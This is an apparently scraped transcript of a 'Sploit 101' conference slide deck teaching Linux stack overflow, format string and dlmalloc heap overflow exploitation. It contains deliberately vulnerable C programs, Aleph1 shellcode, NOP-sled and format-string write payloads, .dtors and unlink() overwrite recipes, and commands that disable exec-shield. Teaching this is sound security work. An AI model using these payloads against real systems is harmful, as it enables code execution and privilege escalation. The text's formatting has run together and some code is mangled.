Sploit 101 Buffer Overflows, Format Strings, Heap Overflows

  • Published on
    15-Jan-2016

  • View
    58

  • Download
    0

DESCRIPTION

Sploit 101 Buffer Overflows, Format Strings, Heap Overflows. Simple Nomad n omad m obile r esearch c entre. Warning. Very geeky presentation Assumes you are smart or willing to learn Extremely technical Questions are welcomed, but I will probably skip over basics in lieu of time. - PowerPoint PPT Presentation

Transcript

Sploit 101Buffer Overflows, Format Strings, Heap OverflowsSimple Nomadnomad mobile research centreWarningVery geeky presentationAssumes you are smart or willing to learnExtremely technicalQuestions are welcomed, but I will probably skip over basics in lieu of timeBasics For Sploit TestingLinuxGCC, NASM (if you roll your own shellcode, not covered in this presentation), Perl, gdb, basic development toolsTurn off exec-shield (e.g. Fedora Core 3)# echo 0 > /proc/sys/kernel/exec-shield# echo 0 > /proc/sys/kernel/exec-shield-randomizeWindows (these are free)Microsoft C/C++ Optimizing Compiler and Linkerhttp://msdn.microsoft.com/visualc/vctoolkit2003/Debugging Toolshttp://www.microsoft.com/whdc/devtools/debugging/installx86.mspxActive Perlhttp://www.activestate.com/Products/ActivePerl/Note that this presentation covers only Linux, not WindowsThe Buffer OverflowA buffer is defined with a fixed lengthEnd user supplies the data to go into the bufferMore data than the buffer has allocated is suppliedBuffer is overflowedIf we can overwrite certain portions of the running programs memory space, we can possibly control the program flowIf we can control program flow, we can (possibly) execute our own codeIf the program is a network daemon we can remotely gain accessIf the program is SUID root, we can potentially elevate privilegesIf the program is a daemon running as root, we can potentially gain remote root privilegesExample Vuln ProgramIf called as ./overflow hello it runs fineIf called as ./overflow `perl e print Ax600` it segfaults due to an overflow of the buffer// overflow.c#include do_stuff(char *temp1) { char name[400]; strcpy(name, temp1); printf(Subroutine output: %s\n,name);}main(int argc,char * argv[]) { do_stuff(argv[1]); printf(Main output: %s\n,argv[1]);}Program Layout in Memory.text Machine instructions.data Initialized variables, e.g. int a=0;.bss Uninitialized variables, e.g. int a;Heap dynamically allocated variables, grows in size towards the stackStack tracks function calls recursively, grows in size towards the heapEnvironment/Arguments system-level variables (e.g. PATH) and command-line arguments given at runtimeProgram Layout in Memory.text.data.bssheapunusedstackenvImportant Stack Info - RegistersGeneral registers 4 32-bit (EAX, EBX, ECX, EDX), 4 16-bit (AX, BX, CX, DX), 8 8-bit (AH, BH, CH, DH, AL, BL, CL, DL)Segment registers CS, SS, DS, ES, FS, GSOffset registers EBP (extended base pointer), ESI (extended source index), EDI (extended destination index), ESP (extended stack pointer)Special registers EFLAGS, EIP (extended instruction pointer)As exploiters of buffer overflows, we care most about EIP and ESPIf we can overwrite EIP, we control the pointer to the next instruction for the processor, i.e. program flowIf we know the value of ESP, we know where the stack is in memory, and have a reference on where to point EIPIf we place our shellcode on the stack, we can point EIP to it using our knowledge of ESPWe can even cheat, and simply get close to our shellcode via a NOP sledGetting ESPThis can be called individually, but in the case of local privilege escalation, from within our exploit program:#include unsigned long get_sp(void) { __asm__(movl %esp, %eax);}int main() { printf(Stack pointer (ESP): 0x%p\n,get_sp());}ShellcodeAssembly language instructions that typically launch a shellUsually the tighter and smaller the code, the betterMany examples exist on the InternetIf you have assembler skills, you can use NASM and roll your ownResources exist on the Internet and in books in the construction of shellcode, for both *nix and Windows systemsExample of Shellcode (Aleph1)char shellcode[] =\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh;Using gdb To Find The Sweet SpotLaunch vuln program under gdbYou can also attach to running processes as wellRun it while causing your segfaultExamine the registers to check for successgdb In Action$ gdb overflow...(gdb) run `perl -e 'print "A"x412'`Starting program: /home/thegnome/Projects/dc214/overflow `perl e 'print "A"x412'`Subroutine output: AAAA... Program received signal SIGSEGV, Segmentation fault.0x00244151 in _dl_relocate_object_terminal () from /lib/ld-linux.so.2(gdb) run `perl -e 'print "A"x416'`The program being debugged has been started already.Start it from the beginning? (y or n) y Starting program: /home/thegnome/Projects/dc214/overflow `perl -e 'print "A"x416'`Subroutine output: AAAA...Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb) info reg eipeip 0x41414141 0x41414141Pulling This All TogetherEIPEBPVulnerable BufferRepeated AddressesShellcodeNOP Sled./overflow `perl e print \x90x200;``cat sc``perl e print \xd8\xfb\xff\xbfx89;`Live DemoSmall BufferWhat if the buffer is really small? How do you exploit that?// overflow2.cint main(int argc, char * argv[]) { char buff[5]; strcpy(buff, argv[1]); return 0;}Use An ENV VariablePut shellcode in an environment variableCompute return address: 0xbffffffa - strlen(shellcode) - strlen() to get address for EIPOverflow buffer with the computed return addressSmall Buffer LayoutFormula:Overwrite EIP = 0xbffffffa - length of shellcode - length of vulnerable program nameLive DemoRemote ExploitsUsually unable to determine ESP on the remote systemEducated guess by compiling/testing remotelyIf daemon is a part of a binary package (rpm or deb, for example) debug your own copy of the daemon firstBrute force it (ugly and noisy)If you have the source code, compile it yourself (with the -ggdb option set for better debugging)Try to compile it with the same options as an rpm or deb you wish to exploit, that way you can get all the values such as ESP and the proper size of the payload correctTest with an rpm or deb package, until you get it rightExample Vulnerable Remote Program// nmrcd.c#include #include #include int stuff(char *tmp) { char buf2[1024]; strcpy(buf2,tmp); return(0);}int main(int argc,char **argv) { char buf[4096]; gets[buf]; stuff(buf); return(0);}Assuming You Have SourceBuild a program to connect and send test datae.g. it should send As for you to determine the proper size of exploit to overwrite EIPRun daemonCompile with -ggdb switch for debuggingRun test data program in gdb with a breakpoint set after connection and right before the data is sentFind daemon on target, and attach gdb by PID numberDo a continue with the daemon, and then a continue with the test data programCheck registers on the daemon, and repeat increasing size until you know ESP and a good size for overflowingNow construct your exploitIn the demo, the exploit code uses different shellcode that binds a shell to port 4444Live DemoFormat String ExploitThe printf command outputs to stdout (usually the screen)The output can be manipulated by supplying formatted output of variables via tokens such as %s or %d:char *var[1000];var = text;printf(The string contains %s\n,var);This is legal per POSIX as well, albeit vulnerable:char *var[1000];var = argv[1];printf(var);What if our input (argv[1]) contained format strings like %08x or %s or %n?The %s goes to stdout, but %n writes data back to the variableIf there is no variable to output to stdout, the contents of the stack are sent to stdout, so %n will allow us to write to arbitrary memory locationsVulnerable Format String Code// fmtstr.c#include int main(int argc,char *argv[]) { static int dc214=0; char temp[2048]; strcpy(temp,argv[1]); printf(temp); printf(\n); printf(dc214 at 0x%08x = 0x%08x\n,&dc214,dc214);}Steps For Format String ExploitationMap out the stackRead arbitrary memory locationsWriting to arbitrary memory.dtorsPull it all together for an exploitStack Mapping./fmtstr AAAA %08x %08x %08x %08xReading Memory Locations./fmtstr AAAA %08x %08x %08x %s./fmtstr `perl -e print `%08x %08x %08x %s./fmtstr `printf \x87\xfb\xff\xbf` %4\$sWriting To MemoryAssuming our shellcode is 0xbffffed5, HOB is 0xbfff and LOB is 0xfed5,and that the target address is 0x080495bc./fmtstr `printf \xe6\x95\x04\x08\xe4\x95\x04\x08`%.49143x%4\$hn%.16086x%5\$hn.dtorsDTOR aka the Destructor section of the code is called at exit of a program, all elf32 file format programs have themIf you can insert the shellcode address into .dtors, you can get your shellcode to executenm ./fmtstr | grep DTORobjdump -s -j .dtors ./fmtstrComputing .dtors LocationAddress location for our jump to shellcode should be 4 bytes past the DTOR_LISTTarget address using example above is 0x080495bc$ nm ./fmtstr | grep DTOR080495bc d __DTOR_END__080495b8 d __DTOR_LIST__$ objdump -s -j .dtors ./fmtstr ./fmtstr: file format elf32-i386 Contents of section .dtors: 80495b8 ffffffff 00000000 ........$./fmtstr `printf \xbe\x95\x04\x08\xbc\x95\x04\x08`%.49143x$4\$hn%.16086x%5\$hnLive DemoHeap Overflow Simple Examplechar *buf1 = malloc(20);char *buf2 = malloc(10);strcpy(buf1,argv[1]);// perform security check and store the results in// buf2while(strlen(buf2) < 1) {.} // end of while security check loopif(!strcmp(buf2,PASSED)) exit(0);else { // continue doing stuff only if we passed // security check./bad_heap_example `perl -e print Ax28`PASSEDHeap Overflow Realistic ExampleMallocWe are discussing dlmalloc (Linux uses this)Binsdlmallocfree() behaviorunlink() Mallocstruct malloc_chunk { size_t prev_size; size_t size; struct malloc_chunk; struct malloc_chunk;}Usage of the fields depends on whether the chunk is allocated or freeMallocDataSize ofthischunkSize ofpreviouschunkbackwardpointerforwardpointerSize ofthischunkchunkAllocatedChunkFreeChunkTop of heapBottom of heapBinsThe list of chunks is known as a binThere are 128 binsSmall lists of chunks are located in the first 64 bins, larger in the restThe wilderness is the top-most free chunk, and is not maintained in a binThe remainder of the most recently split chunk is also not maintained in a bindlmalloc Functionsmalloc() allocates memory (in chunks), important in this examplecalloc() allocates memory and fills it with zerosrealloc() reallocates memoryfree() returns memory for future reallocation, important in this examplefree() BehaviorThe chunk boundary tags are changed and the chunk is inserted into the appropriate bin via frontlink()If the adjacent chunk in the new bin is not free, frontlink() is calledIf next to the wilderness, chunk is added to the wildernessIf the adjacent chunk is free and it is the most recently split chunk, it is merged in, otherwise the two free chunks are merged and fed in via frontlink()unlink()When merging two adjacent free chunks, the already free chunk has to be unlinked from its current bin via unlink()A heap overflow allows you to overwrite the next chunk, so the trick is to get unlink() to wrongfully forward coalescing memoryThe unlink() attack is to poison the pointers and insert a fake chunk, then call free(), overwriting a memory location of our choosingVulnerable Heap Overflow Code// heap.c#include #include int main(int argc, char *argv[] { char *buf1 = malloc(300); char *buf2 = malloc(20); strcpy(buf1, argv[1]); free(buf1); free(buf2); return 0;}We Need Two ValuesThe first value is the location of free() since we are going to overwrite it$ objdump R ./heap | grep free08049548 R_386_JUMP_SLOT freeThe second value is the location of buf1$ ltrace ./heap 2>&1 | grep 300malloc(300) = 0x08049560Side note: we could also overwrite .dtors, use an environment variable for shell code if we are tight on space, etc etc - just like in the buffer overflow or the format string examples from earlierWhat to InjectPart 1: 8 bytes of junkOverwritten by the first free() when it adds a prev_size and size field before the chunk is added to the binsPart 2: \xeb\x0cAssembler for jumping ahead 12 bytesPart 3: 12 bytes of junk to be jumped overPart 4: ShellcodePart 5: Filler to fill up first buffer within 4 bytes of the end of the bufferWhat to InjectPart 6: Negative number with least significant bit 0 (0xfffffff0)Part 7: Negative 4 (0xfffffffc)This will become the size byte of the second chunk, saying essentially that the third chunk starts 4 bytes earlier. Since the LSB is 0, the second chunk is free and needs to be unlinkedWhat to InjectPart 8: The memory location we wish to overwrite, -2This becomes the new second chunks forward pointerThe value we put there is the location of the free() function call-12From our example 0x08049548 0xcPart 9: The value to overwriteThis becomes the new second chunks backward pointerThis points to our shellcodeFrom our example this is 0x08049560Part 10: NULL terminate the string (\x0)Live DemoFinding The Bugs To SploitOdd crashes from inputFuzzing input with AAAAs, %08x %s, etcSource code analysisReported bugs with no exploitsGreat place to practiceStart with security advisories that give technical detailsQuestions?Further readingGray Hat Hacking, Shon Harris et al., McGraw-Hill/OsborneHacking: The Art of Exploitation, Jon Erickson, No Starch PressThe Shellcoders Handbook, Koziol et al., Wiley Publishing./nmrc -sS -T Paranoid *.govSee you in Vegas for BH/DC!